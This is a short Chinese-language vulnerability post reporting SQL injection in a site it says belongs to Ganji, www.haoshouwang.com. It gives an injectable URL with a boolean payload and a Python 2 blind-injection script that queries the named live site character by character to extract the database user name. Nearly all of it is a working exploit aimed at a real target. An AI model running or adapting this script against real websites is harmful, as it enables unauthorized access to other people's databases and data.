赶集网旗下某站SQL注入漏洞（附脚本）

http://www.haoshouwang.com/recovery/phone?brand=1 and length(user())=14

#encoding=utf-8
 
 import httplib
 
 import time
 
 import string
 
 import sys
 
 import random
 
 import urllib
 
 
 
 headers = {'Content-Type': 'application/x-www-form-urlencoded'}
 
 
 
 payloads = list(string.ascii_lowercase)
 
 payloads += list(string.ascii_uppercase)
 
 for i in range(0,10):
 
     payloads.append(str(i))
 
 payloads += ['@','_', '.', '-', '//', ' ']
 
 
 print 'Try to retrive user:'
 
 user = ''
 
 for i in range(1,15):
 
     for payload in payloads:
 
 
 
             conn = httplib.HTTPConnection('www.haoshouwang.com', timeout=100)
 
             s = "/recovery/phone?brand=1 and ascii(mid(user()from(%s)for(1)))=%s" % (i, ord(payload))
 
             s=urllib.quote(s,'?,=,&,/')
 
             conn.request(method='GET', url= s,
 
                          headers = headers)
 
             html_doc = conn.getresponse().read()
 
             conn.close()
 
             print '.',
 
             #print html_doc
 
 
             if html_doc.find('4660') > 0:  # True
 
                 user += payload
 
                 print '/n[in progress]', user
 
                 break
 
 print '/n[Done] User is:', user